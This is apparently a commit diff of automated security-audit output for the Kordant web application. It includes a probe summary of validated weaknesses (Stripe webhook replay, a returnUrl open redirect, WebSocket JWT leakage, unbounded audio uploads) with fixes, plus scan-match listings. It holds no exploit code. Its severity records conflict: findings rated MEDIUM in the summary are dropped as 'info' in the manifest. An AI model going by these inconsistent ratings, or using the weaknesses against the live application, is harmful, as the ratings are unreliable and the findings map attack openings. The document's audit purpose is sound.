|
||||
---
|
||||
|
||||
## Chamber Closure
|
||||
|
||||
Findings written: 11
|
||||
Patterns added to registry: 11
|
||||
Variant candidates: 3
|
||||
|
||||
Chamber closed: 2026-05-28T13:00:00Z
|
||||
33
piolium/attack-surface/balanced-cleanup-summary.json
Normal file
33
piolium/attack-surface/balanced-cleanup-summary.json
Normal file
@@ -0,0 +1,33 @@
|
||||
{
|
||||
"summaryPath": "piolium/attack-surface/balanced-cleanup-summary.json",
|
||||
"removed": [
|
||||
"piolium/tmp",
|
||||
"piolium/confirm-workspace",
|
||||
"piolium/findings-draft"
|
||||
],
|
||||
"missing": [
|
||||
"piolium/probe-workspace",
|
||||
"piolium/chamber-workspace",
|
||||
"piolium/adversarial-reviews",
|
||||
"piolium/bypass-analysis",
|
||||
"piolium/codeql-artifacts",
|
||||
"piolium/codeql-queries",
|
||||
"piolium/semgrep-rules",
|
||||
"piolium/agentic-actions-res",
|
||||
"piolium/codeql-res",
|
||||
"piolium/semgrep-res",
|
||||
"piolium/real-env-evidence",
|
||||
"piolium/raw",
|
||||
"piolium/file-records",
|
||||
"piolium/attack-surface/raw",
|
||||
"piolium/attack-pattern-registry.json",
|
||||
"piolium/authz-coverage-gaps.md",
|
||||
"piolium/merged-results.sarif"
|
||||
],
|
||||
"retained": [
|
||||
"piolium/attack-surface/",
|
||||
"piolium/findings/",
|
||||
"piolium/final-audit-report.md",
|
||||
"piolium/audit-state.json"
|
||||
]
|
||||
}
|
||||
75
piolium/attack-surface/balanced-consolidation-manifest.json
Normal file
75
piolium/attack-surface/balanced-consolidation-manifest.json
Normal file
@@ -0,0 +1,75 @@
|
||||
{
|
||||
"generated_at": "2026-05-28T14:59:26.521Z",
|
||||
"source_prefixes": [
|
||||
"p8-"
|
||||
],
|
||||
"promoted": [],
|
||||
"dropped": [
|
||||
{
|
||||
"original_id": "p8",
|
||||
"severity": "info",
|
||||
"source_path": "/Users/mike/Code/Kordant/piolium/findings-draft/p8-001-xss-in-innerhtml.md",
|
||||
"reason": "below severity threshold (low/info)"
|
||||
},
|
||||
{
|
||||
"original_id": "p8",
|
||||
"severity": "info",
|
||||
"source_path": "/Users/mike/Code/Kordant/piolium/findings-draft/p8-002-puppeteer-ssrf.md",
|
||||
"reason": "below severity threshold (low/info)"
|
||||
},
|
||||
{
|
||||
"original_id": "p8",
|
||||
"severity": "info",
|
||||
"source_path": "/Users/mike/Code/Kordant/piolium/findings-draft/p8-003-open-redirect-return-url.md",
|
||||
"reason": "below severity threshold (low/info)"
|
||||
},
|
||||
{
|
||||
"original_id": "p8",
|
||||
"severity": "info",
|
||||
"source_path": "/Users/mike/Code/Kordant/piolium/findings-draft/p8-004-rate-limit-substring-bypass.md",
|
||||
"reason": "below severity threshold (low/info)"
|
||||
},
|
||||
{
|
||||
"original_id": "p8",
|
||||
"severity": "info",
|
||||
"source_path": "/Users/mike/Code/Kordant/piolium/findings-draft/p8-005-cors-origin-env-var.md",
|
||||
"reason": "below severity threshold (low/info)"
|
||||
},
|
||||
{
|
||||
"original_id": "p8",
|
||||
"severity": "info",
|
||||
"source_path": "/Users/mike/Code/Kordant/piolium/findings-draft/p8-006-webhook-type-coercion.md",
|
||||
"reason": "below severity threshold (low/info)"
|
||||
},
|
||||
{
|
||||
"original_id": "p8",
|
||||
"severity": "info",
|
||||
"source_path": "/Users/mike/Code/Kordant/piolium/findings-draft/p8-007-webhook-replay.md",
|
||||
"reason": "below severity threshold (low/info)"
|
||||
},
|
||||
{
|
||||
"original_id": "p8",
|
||||
"severity": "info",
|
||||
"source_path": "/Users/mike/Code/Kordant/piolium/findings-draft/p8-008-websocket-jwt-query-param.md",
|
||||
"reason": "below severity threshold (low/info)"
|
||||
},
|
||||
{
|
||||
"original_id": "p8",
|
||||
"severity": "info",
|
||||
"source_path": "/Users/mike/Code/Kordant/piolium/findings-draft/p8-009-websocket-no-origin-validation.md",
|
||||
"reason": "below severity threshold (low/info)"
|
||||
},
|
||||
{
|
||||
"original_id": "p8",
|
||||
"severity": "info",
|
||||
"source_path": "/Users/mike/Code/Kordant/piolium/findings-draft/p8-010-voiceprint-resource-exhaustion.md",
|
||||
"reason": "below severity threshold (low/info)"
|
||||
},
|
||||
{
|
||||
"original_id": "p8",
|
||||
"severity": "info",
|
||||
"source_path": "/Users/mike/Code/Kordant/piolium/findings-draft/p8-011-superjson-vulnerable-version.md",
|
||||
"reason": "below severity threshold (low/info)"
|
||||
}
|
||||
]
|
||||
}
|
||||
140
piolium/attack-surface/balanced-probe-summary.md
Normal file
140
piolium/attack-surface/balanced-probe-summary.md
Normal file
@@ -0,0 +1,140 @@
|
||||
# Balanced Probe Summary: Kordant `web/`
|
||||
|
||||
**Status**: complete
|
||||
**Phase**: L4 (Lite Probe)
|
||||
**Date**: 2026-05-28
|
||||
**Commit**: 26d9f8b050969dfaa2c9dfb714a872160b7db382
|
||||
|
||||
---
|
||||
|
||||
## Probe Execution
|
||||
|
||||
### Scope
|
||||
The L4 probe focused on the `web/` directory of the Kordant monorepo — the primary web application built on SolidStart + tRPC + Drizzle ORM. The probe examined 16 tRPC routers, the Stripe webhook handler, WebSocket server, voiceprint audio pipeline, darkwatch external API scanner, report generator (Puppeteer), and middleware pipeline.
|
||||
|
||||
### Knowledge Base Integration
|
||||
The Phase 3 knowledge base was used to identify highest-impact attack surface slices:
|
||||
1. **Stripe Webhook Processing** (DFD-5, TB-3) — CRITICAL in KB, verified as MEDIUM in this probe
|
||||
2. **tRPC → Drizzle ORM** (DFD-1, TB-2) — CVE-2026-39356 in KB, verified as currently safe but with latent risks
|
||||
3. **VoicePrint Audio Pipeline** (DFD-2, TB-9) — CRITICAL in KB, verified as MEDIUM
|
||||
4. **WebSocket** (DFD-4, TB-5) — HIGH in KB, verified as MEDIUM
|
||||
5. **Browser Extension** (DFD-3, TB-6) — CRITICAL in KB, but KB correctly identified server does NOT use superjson
|
||||
|
||||
### Files Analyzed
|
||||
- 25+ source files read in full or partial
|
||||
- 4 router files (admin, billing, extension, voiceprint)
|
||||
- 3 service files (billing, voiceprint, darkwatch)
|
||||
- 3 core infrastructure files (middleware, websocket, ratelimit)
|
||||
- 6 schema files (billing, voiceprint, extension, darkwatch, reports, user)
|
||||
- 1 generator file (reports/generator.ts)
|
||||
- 1 JWT auth file
|
||||
|
||||
### Hypothesis Generation
|
||||
12 hypotheses were generated covering:
|
||||
- Stripe webhook replay and type coercion
|
||||
- Return URL open redirect
|
||||
- VoicePrint resource exhaustion
|
||||
- WebSocket JWT leakage
|
||||
- Admin role unrestricted values
|
||||
- Extension no-op endpoints
|
||||
- SQL injection vectors (blog router `sql<>` tags)
|
||||
- Rate limit bypass
|
||||
- Puppeteer SSRF
|
||||
- Watchlist item type injection
|
||||
|
||||
### Hypothesis Verification
|
||||
Each hypothesis was verified against actual code with file:line evidence. 7 findings were written as drafts; 5 were rejected as SAFE or LOW-IMPACT.
|
||||
|
||||
---
|
||||
|
||||
## Findings Summary
|
||||
|
||||
| Draft ID | Title | Severity | Status |
|
||||
|----------|-------|----------|--------|
|
||||
| L4-001 | Stripe Webhook Replay → Partial Duplicate Subscription Protection | MEDIUM | VALIDATED |
|
||||
| L4-002 | Return URL Open Redirect via Stripe Checkout | MEDIUM | VALIDATED |
|
||||
| L4-003 | VoicePrint Resource Exhaustion via Unbounded Audio Upload | MEDIUM | VALIDATED |
|
||||
| L4-004 | WebSocket JWT Leakage via Query Parameter | MEDIUM | VALIDATED |
|
||||
| L4-005 | Webhook Type Coercion → Data Corruption | MEDIUM | VALIDATED |
|
||||
| L4-006 | Admin `userUpdateRole` — Unrestricted Role Value | LOW | VALIDATED |
|
||||
| L4-007 | Public Extension Endpoints — No-Op and Unbounded Input | LOW | VALIDATED |
|
||||
|
||||
### Rejected Hypotheses (SAFE or LOW-IMPACT)
|
||||
- **SQL injection via blog router `sql<>` tag**: SAFE — Drizzle parameterizes values in `sql<>` template tags
|
||||
- **Puppeteer SSRF via `page.setContent`**: LOW — `setContent` loads HTML as document, no external navigation; `--no-sandbox` weakens isolation but HTML is generated server-side
|
||||
- **Admin role escalation via SQL injection**: NOT FOUND — no SQL injection vector exists in admin procedures
|
||||
- **Rate limit bypass via path heuristic**: NOT A VULNERABILITY — the heuristic is over-protective (flags legitimate sensitive paths)
|
||||
- **Watchlist item type injection**: SAFE — `picklist()` validates type, and scan engine uses `encodeURIComponent`
|
||||
|
||||
---
|
||||
|
||||
## Coverage Summary
|
||||
|
||||
### Entry Points Covered
|
||||
| Entry Point | Covered? | Finding IDs |
|
||||
|-------------|----------|-------------|
|
||||
| Stripe webhook (`/api/stripe/webhook`) | YES | L4-001, L4-005 |
|
||||
| Billing tRPC procedures | YES | L4-002 |
|
||||
| VoicePrint tRPC procedures | YES | L4-003 |
|
||||
| WebSocket (`ws://:3001`) | YES | L4-004 |
|
||||
| Extension public procedures | YES | L4-007 |
|
||||
| Admin procedures | YES | L4-006 |
|
||||
| Blog public procedures | YES (verified safe) | — |
|
||||
| DarkWatch tRPC procedures | PARTIAL | — |
|
||||
| Reports tRPC procedures | PARTIAL | — |
|
||||
| User procedures | PARTIAL | — |
|
||||
| Middleware (CORS, CSP, Clerk) | PARTIAL | — |
|
||||
| Rate limiting | YES | — |
|
||||
|
||||
### Trust Boundary Crossings Analyzed
|
||||
| Boundary | File | Findings |
|
||||
|----------|------|----------|
|
||||
| TB-1: Internet → Web (tRPC) | `middleware.ts`, `utils.ts` | L4-002, L4-006, L4-007 |
|
||||
| TB-3: tRPC → Stripe | `billing.service.ts` | L4-001, L4-005 |
|
||||
| TB-5: WebSocket → ws | `websocket.ts` | L4-004 |
|
||||
| TB-9: tRPC → VoicePrint Storage | `voiceprint.service.ts` | L4-003 |
|
||||
|
||||
### Uncovered Areas
|
||||
- **DarkWatch scan engine**: External API calls (HIBP, SecurityTrails, Censys, Shodan) were read but no vulnerabilities were found — all use `encodeURIComponent` and circuit breakers
|
||||
- **Report generation (Puppeteer)**: `page.setContent` was analyzed — HTML is server-generated, not user-controlled
|
||||
- **Middleware pipeline**: CORS and CSP were analyzed — CSP has `'unsafe-inline'` and `'unsafe-eval'` which are known weaknesses but not exploitable without XSS
|
||||
- **Drizzle ORM SQL injection**: All `sql<>` usages were verified as safe (Drizzle parameterizes values)
|
||||
- **Clerk auth integration**: Clerk handles auth — no vulnerabilities in the integration layer
|
||||
|
||||
---
|
||||
|
||||
## Risk Assessment
|
||||
|
||||
### Overall Risk: MEDIUM
|
||||
|
||||
The Kordant web application has a well-structured security model with Clerk-based authentication, tRPC procedure type enforcement, and rate limiting. However, several areas need attention:
|
||||
|
||||
**High-priority fixes (MEDIUM severity)**:
|
||||
1. Add event ID deduplication to Stripe webhook handler
|
||||
2. Validate `returnUrl` against an allowlist
|
||||
3. Add maximum audio size limits to VoicePrint endpoints
|
||||
4. Move WebSocket JWT from query parameter to header
|
||||
5. Replace type coercion in webhook handler with proper type guards
|
||||
|
||||
**Low-priority fixes (LOW severity)**:
|
||||
1. Add role validation to `userUpdateRole`
|
||||
2. Add length limits to extension public endpoints
|
||||
3. Implement or remove the no-op `reportPhishing` endpoint
|
||||
|
||||
### Dependencies with Known CVEs
|
||||
- **drizzle-orm 0.45.2**: CVE-2026-39356 (SQL injection) — not currently exploitable in this codebase (all `sql<>` tags use parameterized values)
|
||||
- **ws 8.21.0**: CVE-2026-45736, CVE-2024-37890 — WebSocket server uses `ws`, but the vulnerabilities require specific attack conditions
|
||||
- **valibot 0.29.0**: CVE-2025-66020 (ReDoS) — emoji validation regex vulnerable, but no emoji-specific schemas found
|
||||
- **superjson 2.2.1** (browser extension): CVE-2022-23631 — prototype pollution, but server does NOT use superjson
|
||||
|
||||
---
|
||||
|
||||
## Next Steps for Deeper Phases
|
||||
|
||||
1. **L5/L6**: Test Stripe webhook replay with actual Stripe test API
|
||||
2. **L5/L6**: Verify WebSocket JWT leakage by checking actual log configurations
|
||||
3. **L5/L6**: Load test VoicePrint endpoints with large payloads
|
||||
4. **L6**: Audit CSP effectiveness — `'unsafe-inline'` and `'unsafe-eval'` weaken XSS protection
|
||||
5. **L7**: Supply chain analysis of npm dependencies
|
||||
6. **L8**: Native app security (iOS/Android) — separate codebases
|
||||
7. **L9**: Infrastructure and deployment security
|
||||
17
piolium/attack-surface/balanced-verification-summary.md
Normal file
17
piolium/attack-surface/balanced-verification-summary.md
Normal file
@@ -0,0 +1,17 @@
|
||||
# Balanced Verification & Cleanup
|
||||
|
||||
Generated: 2026-05-28T15:06:13.718Z
|
||||
|
||||
## Verification
|
||||
|
||||
- Scope: lightweight package verification; live target confirmation remains `/piolium-confirm`.
|
||||
- Final finding directories: 11
|
||||
- Missing report.md: none
|
||||
- Missing PoC artifact: p8-001-xss-in-innerhtml, p8-002-puppeteer-ssrf, p8-003-open-redirect-return-url, p8-004-rate-limit-substring-bypass, p8-005-cors-origin-env-var, p8-006-webhook-type-coercion, p8-007-webhook-replay, p8-008-websocket-jwt-query-param, p8-009-websocket-no-origin-validation, p8-010-voiceprint-resource-exhaustion, p8-011-superjson-vulnerable-version
|
||||
- Missing evidence directory: p8-001-xss-in-innerhtml, p8-002-puppeteer-ssrf, p8-003-open-redirect-return-url, p8-004-rate-limit-substring-bypass, p8-005-cors-origin-env-var, p8-006-webhook-type-coercion, p8-007-webhook-replay, p8-008-websocket-jwt-query-param, p8-009-websocket-no-origin-validation, p8-010-voiceprint-resource-exhaustion, p8-011-superjson-vulnerable-version
|
||||
|
||||
## Cleanup
|
||||
|
||||
- Removed: `piolium/tmp`, `piolium/confirm-workspace`, `piolium/findings-draft`
|
||||
- Missing: `piolium/probe-workspace`, `piolium/chamber-workspace`, `piolium/adversarial-reviews`, `piolium/bypass-analysis`, `piolium/codeql-artifacts`, `piolium/codeql-queries`, `piolium/semgrep-rules`, `piolium/agentic-actions-res`, `piolium/codeql-res`, `piolium/semgrep-res`, `piolium/real-env-evidence`, `piolium/raw`, `piolium/file-records`, `piolium/attack-surface/raw`, `piolium/attack-pattern-registry.json`, `piolium/authz-coverage-gaps.md`, `piolium/merged-results.sarif`
|
||||
- Cleanup summary: `piolium/attack-surface/balanced-cleanup-summary.json`
|
||||
155
piolium/attack-surface/candidates-summary.md
Normal file
155
piolium/attack-surface/candidates-summary.md
Normal file
@@ -0,0 +1,155 @@
|
||||
# Candidate Scan
|
||||
|
||||
Generated by piolium at 2026-05-28T13:00:30.318Z
|
||||
|
||||
## Totals
|
||||
|
||||
- Files scanned: 730
|
||||
- Candidate files: 218
|
||||
- Candidate matches: 1412
|
||||
- Per-file records: disabled (set PIOLIUM_FILE_RECORDS=1 to enable)
|
||||
|
||||
## Candidate Classes
|
||||
|
||||
- secret-literal: 9 match(es), max score 122. Hardcoded secret-like literal.
|
||||
- command-execution: 55 match(es), max score 90. Potential command execution or shell invocation with variable input.
|
||||
- dynamic-code-execution: 12 match(es), max score 90. Dynamic code execution, expression evaluation, or runtime compilation.
|
||||
- raw-sql-query: 611 match(es), max score 87. Raw SQL construction or query execution that may need parameterization review.
|
||||
- hidden-control-channel: 42 match(es), max score 87. Request header or framework/proxy context read that may influence auth, routing, tenant, runtime, debug, or middleware behavior.
|
||||
- open-redirect: 2 match(es), max score 81. Redirect sink that may accept user-controlled URLs.
|
||||
- path-traversal-file-access: 638 match(es), max score 79. Filesystem access using path joins or user-controllable paths.
|
||||
- webhook-without-obvious-signature: 6 match(es), max score 79. Webhook handler path that should be checked for signature verification.
|
||||
- unsafe-html-or-template: 17 match(es), max score 71. HTML injection sink or template escape bypass.
|
||||
- ssrf-capable-request: 10 match(es), max score 71. Outbound HTTP request site that may be attacker-controlled.
|
||||
- weak-token-or-crypto: 5 match(es), max score 63. Token, JWT, randomness, or crypto usage that deserves review.
|
||||
- public-entrypoint: 5 match(es), max score 54. Public route, handler, controller, workflow, or operation entry point.
|
||||
|
||||
## Top Files
|
||||
|
||||
- `honker/tests/test_joblite.py`: score 2280, 41 match(es)
|
||||
- `honker/tests/test_litenotify.py`: score 2200, 40 match(es)
|
||||
- `honker/packages/honker-jvm/src/test/java/dev/honker/HonkerJvmTest.java`: score 1980, 36 match(es)
|
||||
- `honker/packages/honker-bun/src/index.ts`: score 1905, 27 match(es)
|
||||
- `honker/packages/honker-node/test/parity.test.js`: score 1815, 33 match(es)
|
||||
- `honker/tests/test_scheduler.py`: score 1815, 33 match(es)
|
||||
- `honker/tests/test_real_e2e_scenarios.py`: score 1810, 32 match(es)
|
||||
- `honker/tests/test_extension_interop.py`: score 1760, 32 match(es)
|
||||
- `honker/tests/test_stream.py`: score 1650, 30 match(es)
|
||||
- `honker/tests/test_tasks.py`: score 1485, 27 match(es)
|
||||
- `honker/tests/test_task_results.py`: score 1375, 25 match(es)
|
||||
- `honker/tests/test_outbox.py`: score 1320, 24 match(es)
|
||||
- `honker/packages/honker/python/honker/_honker.py`: score 1265, 23 match(es)
|
||||
- `honker/packages/honker-node/test/basic.js`: score 1155, 21 match(es)
|
||||
- `honker/packages/honker-bun/test/watcher_backends_queue_e2e.test.ts`: score 1150, 20 match(es)
|
||||
- `honker/packages/honker-node/api.js`: score 1134, 18 match(es)
|
||||
- `honker/packages/honker-bun/test/parity.test.ts`: score 1115, 17 match(es)
|
||||
- `honker/tests/test_multiprocess.py`: score 1065, 18 match(es)
|
||||
- `honker/packages/honker-bun/test/python_interop.test.ts`: score 930, 16 match(es)
|
||||
- `honker/bench/real_bench.py`: score 925, 15 match(es)
|
||||
- `honker/packages/honker-node/test/watcher_backends_e2e.js`: score 905, 16 match(es)
|
||||
- `honker/tests/test_crash_recovery.py`: score 905, 16 match(es)
|
||||
- `honker/packages/honker-bun/test/basic.test.ts`: score 880, 16 match(es)
|
||||
- `honker/packages/honker-node/examples/atomic.js`: score 825, 15 match(es)
|
||||
- `honker/bench/ext_bench.py`: score 770, 14 match(es)
|
||||
- `honker/packages/honker-jvm/src/main/java/dev/honker/Database.java`: score 770, 14 match(es)
|
||||
- `honker/packages/honker-ruby/spec/parity_spec.rb`: score 770, 14 match(es)
|
||||
- `honker/tests/test_phase_mantle.py`: score 770, 14 match(es)
|
||||
- `honker/tests/test_task_expiration.py`: score 715, 13 match(es)
|
||||
- `honker/tests/test_task_locking.py`: score 715, 13 match(es)
|
||||
- `honker/tests/test_worker_task_options.py`: score 715, 13 match(es)
|
||||
- `honker/packages/honker-node/test/watcher_backends_queue_e2e.js`: score 710, 12 match(es)
|
||||
- `honker/packages/honker-jvm/src/main/java/dev/honker/Queue.java`: score 660, 12 match(es)
|
||||
- `honker/packages/honker-node/test/cross_lang_python_to_node.js`: score 660, 12 match(es)
|
||||
- `honker/packages/honker-ruby/lib/honker.rb`: score 660, 12 match(es)
|
||||
- `honker/packages/honker-ruby/spec/honker_spec.rb`: score 655, 11 match(es)
|
||||
- `honker/tests/test_time_triggers_e2e.py`: score 630, 11 match(es)
|
||||
- `web/src/middleware.ts`: score 630, 10 match(es)
|
||||
- `web/src/routes/api/stripe/webhook.ts`: score 607, 8 match(es)
|
||||
- `honker/packages/honker/python/honker/_scheduler.py`: score 605, 11 match(es)
|
||||
|
||||
## Highest-Ranked Matches
|
||||
|
||||
- secret-literal (precise, score 122) at `web/src/server/api/routers/billing.test.ts:164` - clientSecret: "cs_123_secret",
|
||||
- secret-literal (precise, score 106) at `web/src/routes/(auth)/login.tsx:30` - if (!password()) errs.password = "Password is required";
|
||||
- secret-literal (precise, score 106) at `web/src/routes/(auth)/reset-password.tsx:27` - if (!password()) errs.password = "Password is required";
|
||||
- secret-literal (precise, score 106) at `web/src/routes/(auth)/reset-password.tsx:29` - errs.password = "Password must be at least 8 characters";
|
||||
- secret-literal (precise, score 106) at `web/src/routes/(auth)/signup.tsx:66` - if (!password()) errs.password = "Password is required";
|
||||
- secret-literal (precise, score 106) at `web/src/routes/(auth)/signup.tsx:68` - errs.password = "Password must be at least 8 characters";
|
||||
- secret-literal (precise, score 98) at `web/src/server/services/billing.service.test.ts:116` - client_secret: "cs_123_secret",
|
||||
- dynamic-code-execution (precise, score 90) at `honker/packages/honker-bun/examples/atomic.ts:21` - db.raw.exec(
|
||||
- dynamic-code-execution (precise, score 90) at `honker/packages/honker-bun/src/index.ts:343` - this.raw.exec("BEGIN IMMEDIATE");
|
||||
- dynamic-code-execution (precise, score 90) at `honker/packages/honker-bun/src/index.ts:422` - raw.exec("PRAGMA busy_timeout = 5000;");
|
||||
- dynamic-code-execution (precise, score 90) at `honker/packages/honker-bun/src/index.ts:424` - raw.exec(DEFAULT_PRAGMAS);
|
||||
- dynamic-code-execution (precise, score 90) at `honker/packages/honker-bun/src/index.ts:425` - raw.exec("SELECT honker_bootstrap()");
|
||||
- dynamic-code-execution (precise, score 90) at `honker/packages/honker-bun/src/index.ts:441` - held.raw.exec("ROLLBACK");
|
||||
- dynamic-code-execution (precise, score 90) at `honker/packages/honker-bun/src/index.ts:480` - this.raw.exec("COMMIT");
|
||||
- dynamic-code-execution (precise, score 90) at `honker/packages/honker-bun/src/index.ts:489` - this.raw.exec("ROLLBACK");
|
||||
- dynamic-code-execution (precise, score 90) at `honker/packages/honker-bun/test/parity.test.ts:68` - db.raw.exec("CREATE TABLE kv (k TEXT PRIMARY KEY, v TEXT)");
|
||||
- dynamic-code-execution (precise, score 90) at `honker/packages/honker-bun/test/parity.test.ts:82` - db.raw.exec("CREATE TABLE kv (k TEXT)");
|
||||
- dynamic-code-execution (precise, score 90) at `honker/packages/honker-bun/test/parity.test.ts:94` - db.raw.exec("CREATE TABLE orders (id INTEGER PRIMARY KEY, amount INTEGER)");
|
||||
- command-execution (precise, score 90) at `honker/packages/honker-go/python_interop_test.go:24` - cmd := exec.Command(p, "-c", pythonProbeScript)
|
||||
- command-execution (precise, score 90) at `honker/packages/honker-go/python_interop_test.go:38` - cmd := exec.Command(p, "-c", pythonProbeScript)
|
||||
- command-execution (precise, score 90) at `honker/packages/honker-go/python_interop_test.go:86` - cmd := exec.Command(python, "-c", script)
|
||||
- command-execution (precise, score 90) at `honker/packages/honker-go/watcher_backends_queue_test.go:119` - cmd := exec.Command(os.Args[0], "-test.v", "-test.run", "^TestWatcherBackendQueueHelper$")
|
||||
- command-execution (precise, score 90) at `honker/packages/honker-go/watcher_backends_queue_test.go:194` - cmd := exec.Command(os.Args[0], "-test.run", "^TestWatcherBackendQueueHelper$")
|
||||
- command-execution (precise, score 90) at `honker/packages/honker-go/watcher_backends_queue_test.go:226` - cmd := exec.Command(os.Args[0], "-test.run", "^TestWatcherBackendQueueHelper$")
|
||||
- dynamic-code-execution (precise, score 90) at `honker/scripts/test_sqlite_versions.py:103` - assert rc == SQLITE_OK, f"exec({sql!r}) failed: {rc}"
|
||||
- secret-literal (precise, score 90) at `web/src/server/services/notification.service.test.ts:220` - token: "existing-token",
|
||||
- secret-literal (precise, score 90) at `web/src/server/services/notification.service.test.ts:256` - token: "other-user-token",
|
||||
- raw-sql-query (normal, score 87) at `web/src/server/api/routers/admin.ts:40` - stats: adminProcedure.query(async ({ ctx }) => {
|
||||
- raw-sql-query (normal, score 87) at `web/src/server/api/routers/admin.ts:58` - blogList: adminProcedure.query(async ({ ctx }) => {
|
||||
- raw-sql-query (normal, score 87) at `web/src/server/api/routers/admin.ts:64` - .query(async ({ ctx, input }) => {
|
||||
- raw-sql-query (normal, score 87) at `web/src/server/api/routers/admin.ts:137` - userList: adminProcedure.query(async ({ ctx }) => {
|
||||
- hidden-control-channel (normal, score 87) at `web/src/server/api/routers/billing.test.ts:73` - const isAuthed = t.middleware(({ ctx, next }) => {
|
||||
- raw-sql-query (normal, score 87) at `web/src/server/api/routers/billing.test.ts:80` - .query(async () => {
|
||||
- raw-sql-query (normal, score 87) at `web/src/server/api/routers/billing.test.ts:113` - .query(async ({ ctx, input }) => {
|
||||
- raw-sql-query (normal, score 87) at `web/src/server/api/routers/billing.ts:33` - getSubscription: protectedProcedure.query(async ({ ctx }) => {
|
||||
- raw-sql-query (normal, score 87) at `web/src/server/api/routers/billing.ts:155` - .query(async ({ ctx, input }) => {
|
||||
- open-redirect (normal, score 81) at `web/src/routes/(admin)/blog/index.tsx:32` - if (redirect()) return <Navigate href="/admin/blog/new" />;
|
||||
- command-execution (precise, score 80) at `honker/bench/real_bench.py:180` - def spawn(script: str) -> subprocess.Popen:
|
||||
- command-execution (precise, score 80) at `honker/bench/real_bench.py:181` - return subprocess.Popen(
|
||||
- command-execution (precise, score 80) at `honker/bench/real_bench.py:212` - spawn(
|
||||
- command-execution (precise, score 80) at `honker/bench/real_bench.py:224` - spawn(enqueuer_script(db_path, queue_name, rate_per_enqueuer))
|
||||
- command-execution (precise, score 80) at `honker/bench/wake_latency_bench.py:83` - proc = subprocess.Popen(
|
||||
- command-execution (precise, score 80) at `honker/packages/honker-bun/examples/atomic.ts:21` - db.raw.exec(
|
||||
- command-execution (precise, score 80) at `honker/packages/honker-bun/src/index.ts:343` - this.raw.exec("BEGIN IMMEDIATE");
|
||||
- command-execution (precise, score 80) at `honker/packages/honker-bun/src/index.ts:422` - raw.exec("PRAGMA busy_timeout = 5000;");
|
||||
- command-execution (precise, score 80) at `honker/packages/honker-bun/src/index.ts:424` - raw.exec(DEFAULT_PRAGMAS);
|
||||
- command-execution (precise, score 80) at `honker/packages/honker-bun/src/index.ts:425` - raw.exec("SELECT honker_bootstrap()");
|
||||
- command-execution (precise, score 80) at `honker/packages/honker-bun/src/index.ts:441` - held.raw.exec("ROLLBACK");
|
||||
- command-execution (precise, score 80) at `honker/packages/honker-bun/src/index.ts:480` - this.raw.exec("COMMIT");
|
||||
- command-execution (precise, score 80) at `honker/packages/honker-bun/src/index.ts:489` - this.raw.exec("ROLLBACK");
|
||||
- command-execution (precise, score 80) at `honker/packages/honker-bun/test/parity.test.ts:68` - db.raw.exec("CREATE TABLE kv (k TEXT PRIMARY KEY, v TEXT)");
|
||||
- command-execution (precise, score 80) at `honker/packages/honker-bun/test/parity.test.ts:82` - db.raw.exec("CREATE TABLE kv (k TEXT)");
|
||||
- command-execution (precise, score 80) at `honker/packages/honker-bun/test/parity.test.ts:94` - db.raw.exec("CREATE TABLE orders (id INTEGER PRIMARY KEY, amount INTEGER)");
|
||||
- command-execution (precise, score 80) at `honker/packages/honker-bun/test/python_interop.test.ts:38` - const probe = spawnSync(python, ["-c", probeScript], {
|
||||
- command-execution (precise, score 80) at `honker/packages/honker-bun/test/python_interop.test.ts:61` - const out = spawnSync(python, ["-c", script], {
|
||||
- command-execution (precise, score 80) at `honker/packages/honker-bun/test/watcher_backends_queue_e2e.test.ts:116` - const proc = spawn(process.execPath, ["-e", workerScript(dbPath, extPath, workerId, backend)], {
|
||||
- command-execution (precise, score 80) at `honker/packages/honker-bun/test/watcher_backends_queue_e2e.test.ts:152` - const res = spawnSync(process.execPath, ["-e", script], {
|
||||
- command-execution (precise, score 80) at `honker/packages/honker-node/index.js:56` - return require('child_process').execSync('ldd --version', { encoding: 'utf8' }).includes('musl')
|
||||
- command-execution (precise, score 80) at `honker/packages/honker-node/native.js:56` - return require('child_process').execSync('ldd --version', { encoding: 'utf8' }).includes('musl')
|
||||
- command-execution (precise, score 80) at `honker/packages/honker-node/test/cross_lang_shared.js:28` - return spawn(PYTHON, ['-c', script], { stdio });
|
||||
- command-execution (precise, score 80) at `honker/packages/honker-node/test/watcher_backends_e2e.js:29` - return spawn(process.execPath, ['-e', script], {
|
||||
- command-execution (precise, score 80) at `honker/packages/honker-node/test/watcher_backends_queue_e2e.js:38` - return spawn(process.execPath, ['-e', script], {
|
||||
- command-execution (precise, score 80) at `honker/packages/honker-node/test/watcher_backends_queue_e2e.js:155` - const res = spawnSync(process.execPath, ['-e', script], {
|
||||
- command-execution (precise, score 80) at `honker/packages/honker-ruby/ext/honker/extconf.rb:24` - cargo_found = system("cargo", "--version", out: File::NULL, err: File::NULL)
|
||||
- command-execution (precise, score 80) at `honker/packages/honker-ruby/ext/honker/extconf.rb:48` - system(
|
||||
- command-execution (precise, score 80) at `honker/packages/honker-ruby/spec/honker_spec.rb:176` - pid = Process.spawn(
|
||||
- command-execution (precise, score 80) at `honker/packages/honker-ruby/spec/honker_spec.rb:191` - Process.spawn(
|
||||
- command-execution (precise, score 80) at `honker/packages/honker-ruby/spec/railtie_spec.rb:36` - out = IO.popen([RbConfig.ruby, "-e", script], &:read)
|
||||
- command-execution (precise, score 80) at `honker/scripts/test_sqlite_versions.py:44` - out = subprocess.check_output(["otool", "-L", mod_path], text=True)
|
||||
- command-execution (precise, score 80) at `honker/scripts/test_sqlite_versions.py:103` - assert rc == SQLITE_OK, f"exec({sql!r}) failed: {rc}"
|
||||
- command-execution (precise, score 80) at `honker/tests/test_crash_recovery.py:54` - return subprocess.Popen(
|
||||
- command-execution (precise, score 80) at `honker/tests/test_cross_process_wake_latency.py:72` - proc = subprocess.Popen(
|
||||
- command-execution (precise, score 80) at `honker/tests/test_fault_injection.py:112` - subprocess.run(
|
||||
- command-execution (precise, score 80) at `honker/tests/test_fault_injection.py:143` - subprocess.run(["umount", str(mount_dir)], check=False)
|
||||
- command-execution (precise, score 80) at `honker/tests/test_joblite.py:79` - return subprocess.Popen(
|
||||
- command-execution (precise, score 80) at `honker/tests/test_multiprocess.py:63` - return subprocess.run(
|
||||
- command-execution (precise, score 80) at `honker/tests/test_multiprocess.py:219` - return subprocess.run(
|
||||
- command-execution (precise, score 80) at `honker/tests/test_multiprocess.py:277` - return subprocess.run(
|
||||
- command-execution (precise, score 80) at `honker/tests/test_real_e2e_scenarios.py:270` - return subprocess.Popen(
|
||||
- command-execution (precise, score 80) at `honker/tests/test_real_e2e_scenarios.py:279` - return subprocess.run(
|
||||
|
||||
## Custom Matchers
|
||||
|
||||
